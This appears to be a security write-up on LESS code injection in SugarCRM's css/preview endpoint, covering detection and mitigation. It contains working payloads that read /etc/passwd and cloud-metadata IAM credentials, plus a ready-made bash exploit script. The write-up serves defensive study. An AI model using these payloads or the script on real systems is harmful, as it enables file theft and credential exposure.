LESS Code Injection leading to SSRF & Local File Read

Reading time: 4 minutes

Overview

LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful @import directive. During compilation the LESS engine will fetch the resources referenced in @import statements and embed ("inline") their contents into the resulting CSS when the (inline) option is used.

When an application concatenates user-controlled input into a string that is later parsed by the LESS compiler, an attacker can inject arbitrary LESS code. By abusing @import (inline) the attacker can force the server to retrieve:

• Local files via the file:// protocol (information disclosure / Local File Inclusion).
• Remote resources on internal networks or cloud metadata services (SSRF).

This technique has been seen in real-world products such as SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).

Exploitation

1. Identify a parameter that is directly embedded inside a stylesheet string processed by the LESS engine (e.g. ?lm= in SugarCRM).
2. Close the current statement and inject new directives. The most common primitives are:
   • ; – terminates the previous declaration.
   • } – closes the previous block (if required).
3. Use @import (inline) '<URL>'; to read arbitrary resources.
4. Optionally inject a marker (data: URI) after the import to ease extraction of the fetched content from the compiled CSS.

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

The contents of /etc/passwd will appear in the HTTP response just before the @@END@@ marker.

SSRF – Cloud Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Automated PoC (SugarCRM example)

#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
  sed -n 's/.*@@END@@\(.*\)/\1/p'

Detection

• Look for dynamically generated .less or .css responses containing unsanitised query parameters.
• During code review, search for constructions like "@media all { .preview { ... ${userInput} ... } }" passed to LESS render functions.
• Exploit attempts often include @import, (inline), file://, http://169.254.169.254, etc.

Mitigations

• Do not pass untrusted data to the LESS compiler.
• If dynamic values are required, properly escape/sanitize them (e.g., restrict to numeric tokens, whitelists).
• Disable, when possible, the ability to use (inline) imports, or limit allowed protocols to https.
• Keep dependencies up to date – SugarCRM patched this issue in versions 13.0.4 and 14.0.1.

Real-World Cases

References

• SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
• SugarCRM Security Advisory SA-2024-059
• CVE-2024-58258